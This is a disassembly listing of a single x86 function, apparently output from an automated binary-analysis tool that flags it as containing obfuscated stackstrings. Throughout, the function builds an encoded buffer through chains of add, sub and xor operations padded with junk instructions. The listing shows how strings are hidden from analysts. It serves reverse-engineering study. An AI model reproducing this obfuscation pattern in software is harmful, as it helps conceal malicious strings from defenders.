Function at 0x477b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ecx], 0x18a91edc
sub dword [ecx], 0x6825f15
xchg esp, esp
xor dword [ecx], 0x65718302
sub dword [ecx], 0x6d858623
xor dword [ecx], 0x722fd55c
xor dword [ecx], 0x7bfe63fe
xchg esi, esi
mov dword [ecx + 4], 0x7b7bec05
sub dword [ecx + 4], 0x35eb09fc
sub dword [ecx + 4], 0x30f66402
xor dword [ecx + 4], 0x78980a3f
xchg esp, esp
add dword [ecx + 4], 0x7338aee6
mov dword [ecx + 8], 0x24507814
xor dword [ecx + 8], 0x6173998c
sub dword [ecx + 8], 0x37319385
mov dword [esp - 0x30], ebp
add dword [ecx + 8], 0x3f7028e5
xor dword [ecx + 8], 0x4d6276f8
mov dword [ecx + 0xc], 0xd2d79ba
add dword [ecx + 0xc], 0x15da933b
xchg ebx, ebx
xor dword [ecx + 0xc], 0x55cc6f31
sub dword [ecx + 0xc], 0x318da1ef
add dword [ecx + 0xc], 0x33f80c29
sub dword [ecx + 0xc], 0x53692938
mov dword [esp - 0x14], 0x24aa360f
add dword [ecx + 0xc], 0xa8823afd
mov dword [ecx + 0x10], 0xe388cc1
xor dword [ecx + 0x10], 0x79bfe167
xor dword [ecx + 0x10], 0x65fdd769
xchg edx, edx
add dword [ecx + 0x10], 0x28567b26
sub dword [ecx + 0x10], 0x21f14c27
add dword [ecx + 0x10], 0x3372b880
xor dword [ecx + 0x10], 0x4c52a24e
mov dword [esp - 0x34], esi
mov dword [ecx + 0x14], 0x53853d43
sub dword [ecx + 0x14], 0x2e39cad5
add dword [ecx + 0x14], 0x26178e1b
xor dword [ecx + 0x14], 0x2d6899e1
mov ebp, ebp
xor dword [ecx + 0x14], 0x67b0c62c
add dword [ecx + 0x14], 0x44281426
mov dword [ecx + 0x18], 0x4b78841
xchg ebx, ebx
add dword [ecx + 0x18], 0x58eeff8f
add dword [ecx + 0x18], 0xad1171d
sub dword [ecx + 0x18], 0x110eeaaf
xchg edi, edi
xor dword [ecx + 0x18], 0x3cdc971f
sub dword [ecx + 0x18], 0x371a493a
xor dword [ecx + 0x18], 0x3499d9e7
xchg esi, esi
mov dword [ecx + 0x1c], 0x1979816d
xor dword [ecx + 0x1c], 0x42db495f
xor dword [ecx + 0x1c], 0x608785ea
mov dword [esp - 0x44], 0x28875b7
xor dword [ecx + 0x1c], 0x64fee527
add dword [ecx + 0x1c], 0x9890126
sub dword [ecx + 0x1c], 0x5e7cc1b5
mov ebp, ebp
mov dword [ecx + 0x20], 0x6d76cab
add dword [ecx + 0x20], 0x5e0de3db
sub dword [ecx + 0x20], 0x5faad023
mov dword [esp - 0x28], esp
xor dword [ecx + 0x20], 0x46a5068a
sub dword [ecx + 0x20], 0x1099bfc8
add dword [ecx + 0x20], 0x428a780e
sub dword [ecx + 0x20], 0x75903f2f
mov dword [esp - 0x40], 0xbc83f60
mov dword [ecx + 0x24], 0x38c52078
xor dword [ecx + 0x24], 0x3f510d27
xor dword [ecx + 0x24], 0x1d7a0c0
xor dword [ecx + 0x24], 0x1291b373
xchg esi, esi
add dword [ecx + 0x24], 0x7c7a980
xor dword [ecx + 0x24], 0x7a6ddd56
mov dword [ecx + 0x28], 0x44e85c30
add dword [ecx + 0x28], 0x382e55f4
mov dword [esp - 0x30], edx
xor dword [ecx + 0x28], 0x5d4ef673
xor dword [ecx + 0x28], 0x5c69ce5a
sub dword [ecx + 0x28], 0x78c20274
mov esi, esi
sub dword [ecx + 0x28], 0x36f8799
mov dword [ecx + 0x2c], 0x2c666be8
sub dword [ecx + 0x2c], 0x1e34771a
mov dword [esp - 0x24], ebp
add dword [ecx + 0x2c], 0x10d31680
add dword [ecx + 0x2c], 0x27998fb0
add dword [ecx + 0x2c], 0xa14cbc1
mov dword [esp - 0x38], edi
sub dword [ecx + 0x2c], 0x44fd17e0
add dword [ecx + 0x2c], 0x978b1219
mov dword [ecx + 0x30], 0x59ceed8d
sub dword [ecx + 0x30], 0x4fdc6109
mov dword [esp - 0x38], edi
xor dword [ecx + 0x30], 0xc00c4a
add dword [ecx + 0x30], 0x36cc16b5
xor dword [ecx + 0x30], 0x3ffe9783
mov dword [esp - 0x30], ebx
mov dword [ecx + 0x34], 0x174d4054
add dword [ecx + 0x34], 0x2904e3de
sub dword [ecx + 0x34], 0x39cdc99c
mov dword [esp - 0x1c], ebp
add dword [ecx + 0x34], 0x312a4feb
xor dword [ecx + 0x34], 0xfffddd0e
mov dword [ecx + 0x38], 0x701a2b0e
mov dword [esp - 0x14], ebx
xor dword [ecx + 0x38], 0x7c93251d
add dword [ecx + 0x38], 0x4ea4b363
sub dword [ecx + 0x38], 0x15bec824
xor dword [ecx + 0x38], 0x456ef952
mov dword [esp - 0x34], 0x73a1333f
mov dword [ecx + 0x3c], 0x18b45ab6
add dword [ecx + 0x3c], 0x468fd146
xor dword [ecx + 0x3c], 0x79771bc1
add dword [ecx + 0x3c], 0x18c2fa5f
mov esi, esi
xor dword [ecx + 0x3c], 0x787f7c55
add dword [ecx + 0x3c], 0x39e685d5
mov dword [ecx + 0x40], 0x16f9c5dd
add dword [ecx + 0x40], 0x4d069e85
mov esp, esp
sub dword [ecx + 0x40], 0x59400c0e
add dword [ecx + 0x40], 0x6c245c25
sub dword [ecx + 0x40], 0x27780eda
add dword [ecx + 0x40], 0x298efacd
mov ecx, ecx
sub dword [ecx + 0x40], 0x78fba06c
mov dword [ecx + 0x44], 0x162a3ea
add dword [ecx + 0x44], 0x560cd244
mov edx, edx
xor dword [ecx + 0x44], 0x7c544904
add dword [ecx + 0x44], 0x170025ac
xor dword [ecx + 0x44], 0xa3e0612
add dword [ecx + 0x44], 0x2ac24ec
mov dword [esp - 0x14], 0x37d71327
mov dword [ecx + 0x48], 0x779badf1
xor dword [ecx + 0x48], 0x1b687583
sub dword [ecx + 0x48], 0x2a006f33
add dword [ecx + 0x48], 0x8d5f263
mov dword [esp - 0x30], edi
xor dword [ecx + 0x48], 0xd8341c7
sub dword [ecx + 0x48], 0x464a1a65
mov dword [ecx + 0x4c], 0xc19c6ac
xchg ecx, ecx
add dword [ecx + 0x4c], 0x373b91e4
sub dword [ecx + 0x4c], 0xc8c449a
xor dword [ecx + 0x4c], 0x72259ace
mov dword [esp - 0x20], ebp
add dword [ecx + 0x4c], 0x1c54d5bb
sub dword [ecx + 0x4c], 0x14c3e772
xor dword [ecx + 0x4c], 0xe761e826
mov dword [ecx + 0x50], 0x25ef44c4
mov dword [esp - 0x18], 0x14579fbe
sub dword [ecx + 0x50], 0x1890939d
add dword [ecx + 0x50], 0x3a89798b
sub dword [ecx + 0x50], 0x272b6161
sub dword [ecx + 0x50], 0x20bcc951
xchg ecx, ecx
mov dword [ecx + 0x54], 0xcd07413
add dword [ecx + 0x54], 0x654364f
sub dword [ecx + 0x54], 0xd5a05ff
add dword [ecx + 0x54], 0x38ffc62a
mov dword [esp - 0x34], esi
add dword [ecx + 0x54], 0x33179217
sub dword [ecx + 0x54], 0x464cc6a7
add dword [ecx + 0x54], 0x27022078
mov dword [esp - 0x3c], ebp
mov dword [ecx + 0x58], 0x6e4220e4
sub dword [ecx + 0x58], 0xf6b779c
add dword [ecx + 0x58], 0x1292485a
xchg edi, edi
sub dword [ecx + 0x58], 0x1b240748
xor dword [ecx + 0x58], 0x4a16f45
sub dword [ecx + 0x58], 0x52e5851f
mov dword [esp - 0x40], ecx
mov dword [ecx + 0x5c], 0x4c4983c3
sub dword [ecx + 0x5c], 0x2f455f48
add dword [ecx + 0x5c], 0x1f45775e
xor dword [ecx + 0x5c], 0x2b6974f9
mov esi, esi
xor dword [ecx + 0x5c], 0xf97b45d3
mov dword [ecx + 0x60], 0x350da064
add dword [ecx + 0x60], 0x1774419
mov ebx, ebx
add dword [ecx + 0x60], 0x48d35a6b
sub dword [ecx + 0x60], 0x77fabc8a
add dword [ecx + 0x60], 0xf26f587
sub dword [ecx + 0x60], 0x168477e5
mov dword [esp - 0x34], 0x4c1e7d51
mov dword [ecx + 0x64], 0x22e7e670
xor dword [ecx + 0x64], 0x34202bf1
add dword [ecx + 0x64], 0x854c2c1
mov ebx, ebx
sub dword [ecx + 0x64], 0x1f0c7db0
xor dword [ecx + 0x64], 0xb793d2e2
mov dword [ecx + 0x68], 0xedee4a3
sub dword [ecx + 0x68], 0xab8437b
xchg edi, edi
add dword [ecx + 0x68], 0x4e620f69
sub dword [ecx + 0x68], 0x19078ff2
add dword [ecx + 0x68], 0x205c003
mov dword [esp - 0x3c], 0x247e1d2a
sub dword [ecx + 0x68], 0x3b86e0a2
mov dword [ecx + 0x6c], 0x4fa2bd70
sub dword [ecx + 0x6c], 0x48ddbae
sub dword [ecx + 0x6c], 0x34ccd2a4
mov edi, edi
add dword [ecx + 0x6c], 0xf4eaeab
add dword [ecx + 0x6c], 0xca6509
xor dword [ecx + 0x6c], 0x52ffeac
mov dword [esp - 0xc], 0x753ad88b
add dword [ecx + 0x6c], 0xd1467acc
mov dword [ecx + 0x70], 0x35317bac
add dword [ecx + 0x70], 0x3da976be
xor dword [ecx + 0x70], 0x30b07d53
xchg edx, edx
sub dword [ecx + 0x70], 0x36ca09e0
xor dword [ecx + 0x70], 0xba08559
mov dword [ecx + 0x74], 0x19198bee
add dword [ecx + 0x74], 0x2915cec0
xchg ebp, ebp
xor dword [ecx + 0x74], 0x5bb560f6
add dword [ecx + 0x74], 0x4410085e
xor dword [ecx + 0x74], 0x2fb667bf
mov dword [ecx + 0x78], 0x8112cb0
xchg esp, esp
xor dword [ecx + 0x78], 0x1d6d1477
xor dword [ecx + 0x78], 0x2ebbf874
add dword [ecx + 0x78], 0x1e058d4d
add dword [ecx + 0x78], 0xd9205da
mov esi, esi
sub dword [ecx + 0x78], 0x2fcf1a80
sub dword [ecx + 0x78], 0x3790395a
mov dword [ecx + 0x7c], 0x11f69b65
xor dword [ecx + 0x7c], 0x689b433b
mov ebx, ebx
sub dword [ecx + 0x7c], 0x5c16a379
xor dword [ecx + 0x7c], 0x1ea85eb8
add dword [ecx + 0x7c], 0x53607c9c
mov esp, esp
xor dword [ecx + 0x7c], 0xb50fae70
mov dword [ecx + 0x80], 0x4e56b3b8
xor dword [ecx + 0x80], 0x7fade66c
add dword [ecx + 0x80], 0x3365ba0d
mov dword [esp - 0x3c], 0x5dd06642
xor dword [ecx + 0x80], 0x5bbe8d3a
sub dword [ecx + 0x80], 0x3edf82db
mov dword [ecx + 0x84], 0x2bdfaf44
xor dword [ecx + 0x84], 0x5f08b3c9
mov dword [esp - 0x38], ecx
xor dword [ecx + 0x84], 0x25475aba
xor dword [ecx + 0x84], 0x4a97ab8a
xor dword [ecx + 0x84], 0x651ee4a8
sub dword [ecx + 0x84], 0x7d8adc73
mov dword [esp - 0x40], ebx
add dword [ecx + 0x84], 0x4169d63f
mov dword [ecx + 0x88], 0x6c4dbcf5
sub dword [ecx + 0x88], 0x3c14fdac
sub dword [ecx + 0x88], 0xa3413db
xchg edx, edx
add dword [ecx + 0x88], 0x8d28d81
sub dword [ecx + 0x88], 0x2624ec16
sub dword [ecx + 0x88], 0x373e605
sub dword [ecx + 0x88], 0x53e66d4
mov dword [esp - 0x38], 0x352a9700
mov dword [ecx + 0x8c], 0x25d7aed9
xor dword [ecx + 0x8c], 0x7ad587f7
sub dword [ecx + 0x8c], 0x15c5d763
add dword [ecx + 0x8c], 0x37e510e
mov dword [esp - 0x20], esp
sub dword [ecx + 0x8c], 0x8b34443
sub dword [ecx + 0x8c], 0x26e7dfbf
add dword [ecx + 0x8c], 0x4770722e
mov dword [ecx + 0x90], 0x13cb1c0a
xchg edi, edi
xor dword [ecx + 0x90], 0x3b801e11
add dword [ecx + 0x90], 0x324d3f10
add dword [ecx + 0x90], 0x1165aeb7
xor dword [ecx + 0x90], 0x6bfdefe2
mov dword [esp - 0x24], 0x67678961
mov dword [ecx + 0x94], 0x4a926588
xor dword [ecx + 0x94], 0x67758c8c
add dword [ecx + 0x94], 0x479793ce
xchg ebx, ebx
sub dword [ecx + 0x94], 0x6e2c4c05
xor dword [ecx + 0x94], 0xc8359c9
add dword [ecx + 0x94], 0x87f30b17
mov dword [esp - 0x3c], 0x9e2e2ab
mov dword [ecx + 0x98], 0xbf8adfe
xor dword [ecx + 0x98], 0x7ec8931d
sub dword [ecx + 0x98], 0x5607ac0f
mov esi, esi
add dword [ecx + 0x98], 0x1532c3f2
sub dword [ecx + 0x98], 0x345b56c6
mov dword [ecx + 0x9c], 0x6b619d41
mov dword [esp - 0x34], edi
sub dword [ecx + 0x9c], 0x58485ccf
sub dword [ecx + 0x9c], 0xf19ddb6
xor dword [ecx + 0x9c], 0x18f37e59
add dword [ecx + 0x9c], 0x864ebe5d
mov edx, edx
mov dword [ecx + 0xa0], 0x2f9cd9a
xor dword [ecx + 0xa0], 0x3716e642
xor dword [ecx + 0xa0], 0x3197e79c
add dword [ecx + 0xa0], 0xff6f762
mov edx, edx
xor dword [ecx + 0xa0], 0x4572388c
sub dword [ecx + 0xa0], 0x511dfb2a
mov dword [ecx + 0xa4], 0x74d3734f
add dword [ecx + 0xa4], 0x484360
mov ecx, ecx
sub dword [ecx + 0xa4], 0x4439e299
sub dword [ecx + 0xa4], 0x18ed0828
add dword [ecx + 0xa4], 0x13a3f71a
xchg esp, esp
sub dword [ecx + 0xa4], 0x48bd5df
add dword [ecx + 0xa4], 0x87791fc3
mov dword [ecx + 0xa8], 0x47a12c4b
add dword [ecx + 0xa8], 0x12aacf51
mov dword [esp - 0x24], esi
xor dword [ecx + 0xa8], 0x20ebf11f
sub dword [ecx + 0xa8], 0x2a9319cd
sub dword [ecx + 0xa8], 0x500cf0b6
xchg edx, edx
mov dword [ecx + 0xac], 0x465963ef
add dword [ecx + 0xac], 0x26458430
sub dword [ecx + 0xac], 0x4c587e09
xor dword [ecx + 0xac], 0x354042ff
mov dword [esp - 0x30], ebp
xor dword [ecx + 0xac], 0x605ff0fa
mov dword [ecx + 0xb0], 0x5da7fdbd
sub dword [ecx + 0xb0], 0x338db8b6
mov dword [esp - 0x44], ecx
xor dword [ecx + 0xb0], 0x699e41c
add dword [ecx + 0xb0], 0x390ed639
add dword [ecx + 0xb0], 0xb9e381a
add dword [ecx + 0xb0], 0xb409050
mov dword [esp - 0x20], ecx
xor dword [ecx + 0xb0], 0x7c713fbe
mov dword [ecx + 0xb4], 0x35108b26
xor dword [ecx + 0xb4], 0x31d74d63
add dword [ecx + 0xb4], 0x380fd9b3
mov dword [esp - 0x18], esi
add dword [ecx + 0xb4], 0x201efe97
xor dword [ecx + 0xb4], 0xb7111552
mov dword [ecx + 0xb8], 0x6fca049b
sub dword [ecx + 0xb8], 0x16af824e
xchg ebx, ebx
sub dword [ecx + 0xb8], 0x2a582f8d
xor dword [ecx + 0xb8], 0x3d43d968
sub dword [ecx + 0xb8], 0x13818ba8
mov dword [ecx + 0xbc], 0x4356479b
mov dword [esp - 0x34], 0x482fddae
add dword [ecx + 0xbc], 0xf686a09
add dword [ecx + 0xbc], 0x1d829311
sub dword [ecx + 0xbc], 0x20a046cd
mov dword [esp - 0x28], esi
xor dword [ecx + 0xbc], 0x83505a01
mov dword [ecx + 0xc0], 0x783a0019
sub dword [ecx + 0xc0], 0x754bbba3
mov esi, esi
xor dword [ecx + 0xc0], 0x266f449b
add dword [ecx + 0xc0], 0x1a3b9c02
sub dword [ecx + 0xc0], 0x72e3ff6
mov dword [esp - 0x18], edi
sub dword [ecx + 0xc0], 0x378e5cf9
mov dword [ecx + 0xc4], 0xf280e8b
sub dword [ecx + 0xc4], 0x3dc31ae
mov dword [esp - 0x24], esp
xor dword [ecx + 0xc4], 0xe258d4f
xor dword [ecx + 0xc4], 0x3f3e11f9
add dword [ecx + 0xc4], 0x23e8d5dd
xchg edx, edx
sub dword [ecx + 0xc4], 0x1d8f7dd5
mov dword [ecx + 0xc8], 0x7ea86637
xor dword [ecx + 0xc8], 0x3a0b3ce
mov dword [esp - 0x18], edx
sub dword [ecx + 0xc8], 0x6bb9ee5
sub dword [ecx + 0xc8], 0x1c82b37b
add dword [ecx + 0xc8], 0x23f0221f
sub dword [ecx + 0xc8], 0x5c0090f0
mov edi, edi
sub dword [ecx + 0xc8], 0x21ba14c8
mov dword [ecx + 0xcc], 0x5a10c2cf
sub dword [ecx + 0xcc], 0x15f98b06
xchg esp, esp
add dword [ecx + 0xcc], 0x2c8fda20
sub dword [ecx + 0xcc], 0x69d40b2d
add dword [ecx + 0xcc], 0x741602c2
mov edx, edx
add dword [ecx + 0xcc], 0xcc5cdc8
mov dword [ecx + 0xd0], 0x380a6abe
sub dword [ecx + 0xd0], 0x1d033bf7
sub dword [ecx + 0xd0], 0x1c77f7d
mov dword [esp - 0x34], 0x61c621df
add dword [ecx + 0xd0], 0x4b3045cf
sub dword [ecx + 0xd0], 0x47ed73e0
sub dword [ecx + 0xd0], 0x132cffe1
mov dword [esp - 0xc], 0x1a8729ae
sub dword [ecx + 0xd0], 0x9558158
mov dword [ecx + 0xd4], 0x7226394e
sub dword [ecx + 0xd4], 0x48773648
mov esp, esp
add dword [ecx + 0xd4], 0x49101382
sub dword [ecx + 0xd4], 0x38def31d
add dword [ecx + 0xd4], 0x336fe5cc
mov dword [esp - 0x2c], ebp
xor dword [ecx + 0xd4], 0x59ba2625
mov dword [ecx + 0xd8], 0x12ea5da2
xor dword [ecx + 0xd8], 0x7ded611e
xchg esi, esi
sub dword [ecx + 0xd8], 0x205c1457
xor dword [ecx + 0xd8], 0x55fa3a36
add dword [ecx + 0xd8], 0x3611d27a
xchg edi, edi
xor dword [ecx + 0xd8], 0x5162e4cd
mov dword [ecx + 0xdc], 0x7a066b21
sub dword [ecx + 0xdc], 0x5f6d2a47
add dword [ecx + 0xdc], 0x166484be
mov dword [esp - 0x34], esp
add dword [ecx + 0xdc], 0x33d7da48
sub dword [ecx + 0xdc], 0x701c67d
xor dword [ecx + 0xdc], 0x63040081
mov dword [ecx + 0xe0], 0x19a48e43
mov dword [esp - 0x18], ecx
xor dword [ecx + 0xe0], 0x672456d9
sub dword [ecx + 0xe0], 0x45d29a49
xor dword [ecx + 0xe0], 0x58a5135f
mov dword [esp - 0x20], edi
sub dword [ecx + 0xe0], 0x432cb195
add dword [ecx + 0xe0], 0x1af00336
sub dword [ecx + 0xe0], 0x37ce7eaf
mov dword [esp - 0x1c], edx
mov dword [ecx + 0xe4], 0x5db5a363
xor dword [ecx + 0xe4], 0x34505d57
sub dword [ecx + 0xe4], 0xe140a11
xchg ecx, ecx
sub dword [ecx + 0xe4], 0x4677e80e
add dword [ecx + 0xe4], 0x355e9511
mov dword [ecx + 0xe8], 0x33e36cf8
xchg esp, esp
sub dword [ecx + 0xe8], 0x43ad514
xor dword [ecx + 0xe8], 0x6887e886
sub dword [ecx + 0xe8], 0x34420b3e
add dword [ecx + 0xe8], 0x550d10f9
xchg edi, edi
sub dword [ecx + 0xe8], 0x67fa851d
mov dword [ecx + 0xec], 0x14598067
xor dword [ecx + 0xec], 0x413b2e1e
mov dword [esp - 0x30], ecx
add dword [ecx + 0xec], 0x13698f0f
sub dword [ecx + 0xec], 0x641598b0
add dword [ecx + 0xec], 0x5946e1f6
mov dword [esp - 0x28], 0x9f42c58
add dword [ecx + 0xec], 0xd55c287
xor dword [ecx + 0xec], 0x84541d5e
mov dword [ecx + 0xf0], 0x253a457e
add dword [ecx + 0xf0], 0x2e0ddcb6
mov dword [esp - 0x28], edi
add dword [ecx + 0xf0], 0x2354312a
sub dword [ecx + 0xf0], 0x2ab37f12
sub dword [ecx + 0xf0], 0x4be8d44c
mov dword [esp - 0x2c], esp
mov dword [ecx + 0xf4], 0x606ffea7
sub dword [ecx + 0xf4], 0x15d29305
sub dword [ecx + 0xf4], 0x457ab4e1
xchg ebx, ebx
xor dword [ecx + 0xf4], 0x7309a0f7
sub dword [ecx + 0xf4], 0x1d6527d6
xor dword [ecx + 0xf4], 0x4da38264
add dword [ecx + 0xf4], 0x5dfbf913
xchg edx, edx
mov dword [ecx + 0xf8], 0x852f4ea
add dword [ecx + 0xf8], 0x6589eb00
sub dword [ecx + 0xf8], 0x1a0d3a8b
mov edi, edi
sub dword [ecx + 0xf8], 0x5265e17e
add dword [ecx + 0xf8], 0x7282b717
xor dword [ecx + 0xf8], 0x5e8365a9
sub dword [ecx + 0xf8], 0x2d6f1f51
mov ebx, ebx
mov dword [ecx + 0xfc], 0x1697f4a3
add dword [ecx + 0xfc], 0x3f48ce6e
xor dword [ecx + 0xfc], 0x6b963636
xchg ebp, ebp
sub dword [ecx + 0xfc], 0x1945eb63
add dword [ecx + 0xfc], 0x113f9e24
mov dword [ecx + 0x100], 0x316bb2a7
mov dword [esp - 0x2c], 0x1261d9b8
add dword [ecx + 0x100], 0x12a37e9
add dword [ecx + 0x100], 0x2b5cc2f
add dword [ecx + 0x100], 0x4839e634
xor dword [ecx + 0x100], 0x3bb4ad0a
mov dword [esp - 0x3c], 0x33f97587
add dword [ecx + 0x100], 0x3588db0c
sub dword [ecx + 0x100], 0x7bba0d05
mov dword [ecx + 0x104], 0x4f2fd127
xor dword [ecx + 0x104], 0x3e009542
mov dword [esp - 0x34], ecx
sub dword [ecx + 0x104], 0x327ad058
xor dword [ecx + 0x104], 0x70b60c72
sub dword [ecx + 0x104], 0x3b73c01d
mov esi, esi
xor dword [ecx + 0x104], 0xd6663105
mov dword [ecx + 0x108], 0x2d75b434
add dword [ecx + 0x108], 0x321d6d5f
mov dword [esp - 0x14], edx
xor dword [ecx + 0x108], 0x54da9534
add dword [ecx + 0x108], 0x339d78fe
sub dword [ecx + 0x108], 0x3350e2e8
mov esi, esi
add dword [ecx + 0x108], 0x7c9fa5b
sub dword [ecx + 0x108], 0x13604518
mov dword [ecx + 0x10c], 0x57e8a97f
mov dword [esp - 0x3c], ebp
xor dword [ecx + 0x10c], 0x344c389c
sub dword [ecx + 0x10c], 0x314fda98
xor dword [ecx + 0x10c], 0xe358ae5
mov edi, edi
xor dword [ecx + 0x10c], 0x58204a0c
sub dword [ecx + 0x10c], 0x62808b0c
mov dword [ecx + 0x110], 0x5c4cf553
add dword [ecx + 0x110], 0xc76153d
mov ecx, ecx
xor dword [ecx + 0x110], 0x6fd8d2e3
xor dword [ecx + 0x110], 0x20a3428b
sub dword [ecx + 0x110], 0x27b89af8
mov dword [esp - 0x34], ebx
mov dword [ecx + 0x114], 0x2a82dbf5
sub dword [ecx + 0x114], 0x22acd96a
add dword [ecx + 0x114], 0x6b18739f
sub dword [ecx + 0x114], 0x13686666
mov ebx, ebx
sub dword [ecx + 0x114], 0x1b69288d
xor dword [ecx + 0x114], 0x59d0cdd6
mov dword [ecx + 0x118], 0x12bea3e4
add dword [ecx + 0x118], 0xb997c19
mov dword [esp - 0x28], 0x7a0d9e1f
add dword [ecx + 0x118], 0x4873aa90
add dword [ecx + 0x118], 0xfd6d844
xor dword [ecx + 0x118], 0x7c7c06c7
mov dword [esp - 0x1c], 0x6dc50b80
sub dword [ecx + 0x118], 0xadea416
mov dword [ecx + 0x11c], 0x3ebeee8d
sub dword [ecx + 0x11c], 0x2ace9452
xor dword [ecx + 0x11c], 0x3d0ce568
mov dword [esp - 0x14], edx
sub dword [ecx + 0x11c], 0x7e05bff
sub dword [ecx + 0x11c], 0x2e5f27
add dword [ecx + 0x11c], 0xa0e497b
xchg ecx, ecx
xor dword [ecx + 0x11c], 0x58f7d852
mov dword [ecx + 0x120], 0x5012a6f4
xor dword [ecx + 0x120], 0x7560278e
mov dword [esp - 0x28], edx
add dword [ecx + 0x120], 0x569426ca
sub dword [ecx + 0x120], 0x71cc1e93
sub dword [ecx + 0x120], 0xa3a89b1
mov ebp, ebp
mov dword [ecx + 0x124], 0x140ddf26
add dword [ecx + 0x124], 0x5fe46edf
sub dword [ecx + 0x124], 0xff320af
xchg ebp, ebp
xor dword [ecx + 0x124], 0x2f541453
xor dword [ecx + 0x124], 0x355e99b6
mov dword [ecx + 0x128], 0x337057b3
add dword [ecx + 0x128], 0x1c5ff1c9
mov dword [esp - 0x44], ecx
sub dword [ecx + 0x128], 0x6b9357f
add dword [ecx + 0x128], 0x25f12d4e
sub dword [ecx + 0x128], 0xd6a492b
xchg edx, edx
sub dword [ecx + 0x128], 0x4e025e44
sub dword [ecx + 0x128], 0x139b99dc
mov dword [ecx + 0x12c], 0x6a8adcf6
xor dword [ecx + 0x12c], 0x758a328e
xchg edi, edi
sub dword [ecx + 0x12c], 0x847cadf
sub dword [ecx + 0x12c], 0x487e04a
xor dword [ecx + 0x12c], 0xaf7c4312
mov edx, edx
mov dword [ecx + 0x130], 0x6c664258
sub dword [ecx + 0x130], 0x1f9e3d3d
add dword [ecx + 0x130], 0x331a75f9
sub dword [ecx + 0x130], 0xeda9118
mov ecx, ecx
xor dword [ecx + 0x130], 0x71a8a6c
sub dword [ecx + 0x130], 0x3d350321
xor dword [ecx + 0x130], 0x38e8606f
mov esi, esi
mov dword [ecx + 0x134], 0x2f86e808
add dword [ecx + 0x134], 0x407eb1d4
xor dword [ecx + 0x134], 0xb355297
mov dword [esp - 0x34], ebx
sub dword [ecx + 0x134], 0x67b72ba
add dword [ecx + 0x134], 0xa7ae076
sub dword [ecx + 0x134], 0x6ddd2dde
mov dword [esp - 0x10], 0x3569382c
add dword [ecx + 0x134], 0xa100cbb5
mov dword [ecx + 0x138], 0x1ef3e6de
sub dword [ecx + 0x138], 0x194b655a
mov esi, esi
xor dword [ecx + 0x138], 0x32059a96
xor dword [ecx + 0x138], 0x38195c4c
xor dword [ecx + 0x138], 0xfb4475e
xchg esp, esp
mov dword [ecx + 0x13c], 0x699f926e
sub dword [ecx + 0x13c], 0x55e61a87
add dword [ecx + 0x13c], 0x4b5ae28b
sub dword [ecx + 0x13c], 0x175f4c9f
mov dword [esp - 0x3c], ebx
xor dword [ecx + 0x13c], 0x68708855
add dword [ecx + 0x13c], 0x46e23e87
xor dword [ecx + 0x13c], 0xc6d00013
mov dword [esp - 0x10], 0x420d5b
mov dword [ecx + 0x140], 0x6e5111f5
sub dword [ecx + 0x140], 0x5e938153
xor dword [ecx + 0x140], 0x1375b5ba
xor dword [ecx + 0x140], 0xe0b630
mov dword [esp - 0xc], ecx
add dword [ecx + 0x140], 0x4c8fe1fe
xor dword [ecx + 0x140], 0x399239f
sub dword [ecx + 0x140], 0x6b2156b9
mov dword [esp - 0x24], edx
mov dword [ecx + 0x144], 0x144068c9
add dword [ecx + 0x144], 0x47971e9d
add dword [ecx + 0x144], 0x13c789a
mov dword [esp - 0x30], 0x6fd31300
add dword [ecx + 0x144], 0x7924683
sub dword [ecx + 0x144], 0x1889659f
xor dword [ecx + 0x144], 0x297c2d9c
mov dword [esp - 0x44], edi
mov dword [ecx + 0x148], 0x1654c3c4
xor dword [ecx + 0x148], 0x483f311f
add dword [ecx + 0x148], 0xbd75914
sub dword [ecx + 0x148], 0x3608147d
mov esi, esi
add dword [ecx + 0x148], 0x2c186cee
sub dword [ecx + 0x148], 0x6053a460
mov dword [ecx + 0x14c], 0xa884b88
xchg ebp, ebp
add dword [ecx + 0x14c], 0x13577ce3
xor dword [ecx + 0x14c], 0x2bb5022e
xor dword [ecx + 0x14c], 0x33114c9d
xchg esi, esi
add dword [ecx + 0x14c], 0xf510c4fb
mov dword [ecx + 0x150], 0x37f204a0
add dword [ecx + 0x150], 0x2095e008
mov dword [esp - 0x1c], 0x207b29a0
sub dword [ecx + 0x150], 0x25133f9e
sub dword [ecx + 0x150], 0x2fd818c7
sub dword [ecx + 0x150], 0x39c8c43
mov dword [ecx + 0x154], 0x5de1d144
mov ebp, ebp
xor dword [ecx + 0x154], 0x7ebcf4cf
sub dword [ecx + 0x154], 0x6e1aff9
xor dword [ecx + 0x154], 0x1a0814c6
xor dword [ecx + 0x154], 0x1b22f5c1
xchg esp, esp
add dword [ecx + 0x154], 0xcfe0ddfb
mov dword [ecx + 0x158], 0x178cd56b
xor dword [ecx + 0x158], 0x5954773
xor dword [ecx + 0x158], 0x3083b0a8
mov ebx, ebx
add dword [ecx + 0x158], 0x2eb5192e
sub dword [ecx + 0x158], 0x514f3bde
mov dword [ecx + 0x15c], 0xbfe25e1
mov esp, esp
add dword [ecx + 0x15c], 0x66befbf
add dword [ecx + 0x15c], 0x45d15951
sub dword [ecx + 0x15c], 0x3f5be35f
xchg esp, esp
add dword [ecx + 0x15c], 0x1a4dcf1b
mov dword [ecx + 0x160], 0x312de63e
add dword [ecx + 0x160], 0x1f1dd52a
mov dword [esp - 0x34], esi
sub dword [ecx + 0x160], 0x3a95fc79
add dword [ecx + 0x160], 0x2008731e
xor dword [ecx + 0x160], 0x1ad2570b
sub dword [ecx + 0x160], 0x2f6c6506
mov dword [esp - 0x40], esp
mov dword [ecx + 0x164], 0x3b8d4008
sub dword [ecx + 0x164], 0x36b3fb
add dword [ecx + 0x164], 0x2a8ad874
sub dword [ecx + 0x164], 0x54d618bf
mov dword [esp - 0x1c], edx
add dword [ecx + 0x164], 0x5490266e
add dword [ecx + 0x164], 0x281bdf4b
mov dword [ecx + 0x168], 0x75535b6a
sub dword [ecx + 0x168], 0x13574c5f
mov dword [esp - 0x10], ebx
sub dword [ecx + 0x168], 0x257edb35
add dword [ecx + 0x168], 0x1574a2cd
sub dword [ecx + 0x168], 0x205af4
xor dword [ecx + 0x168], 0x1977f997
mov edx, edx
sub dword [ecx + 0x168], 0x48a68238
mov dword [ecx + 0x16c], 0x44847212
add dword [ecx + 0x16c], 0xe7decb1
mov edi, edi
add dword [ecx + 0x16c], 0x273ee8ab
sub dword [ecx + 0x16c], 0x63c3dfa1
add dword [ecx + 0x16c], 0x4cc4fe1b
xchg ebx, ebx
xor dword [ecx + 0x16c], 0x797350fe
